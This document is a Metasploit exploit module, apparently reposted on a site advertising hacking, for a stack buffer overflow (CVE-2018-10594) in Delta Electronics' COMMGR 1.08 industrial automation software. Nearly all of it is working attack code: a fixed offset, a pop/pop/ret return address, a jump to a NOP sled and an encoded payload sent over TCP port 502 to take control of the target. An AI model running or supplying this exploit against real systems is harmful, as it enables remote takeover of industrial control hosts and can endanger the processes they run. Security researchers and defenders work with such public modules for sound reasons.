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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack based buffer overflow in Delta Electronics Delta Industrial
        Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when handling specially
        crafted packets. This module has been tested successfully on Delta Electronics Delta
        Industrial Automation COMMGR 1.08 over
          Windows XP SP3,
          Windows 7 SP1, and
          Windows 8.1.
      },
      'Author'         =>
        [
          'ZDI',        # Initial discovery
          't4rkd3vilz', # PoC
          'hubertwslin' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2018-10594' ],
          [ 'BID', '104529' ],
          [ 'ZDI', '18-586' ],
          [ 'ZDI', '18-588' ],
          [ 'EDB', '44965' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-172-01' ]
        ],
      'Payload'        =>
        {
          'Space'          => 640,
          'DisableNops'    => true,
          'BadChars'       => "\x00"
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'COMMGR 1.08 / Windows Universal',
            {
              'Ret'    => 0x00401e14, # p/p/r COMMGR.exe
              'Offset' => 4164
            }
          ],
        ],
      'DisclosureDate' => 'Jul 02 2018',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(502)
      ])
  end

  def exploit
    data =  rand_text_alpha(target['Offset'])
    data << "\xeb\x27\x90\x90"    # jmp short $+27 to the NOP sled
    data << [target.ret].pack("V")
    data << make_nops(40)
    data << payload.encoded

    print_status("Trying target #{target.name}, sending #{data.length} bytes...")
    connect
    sock.put(data)
    disconnect
  end
end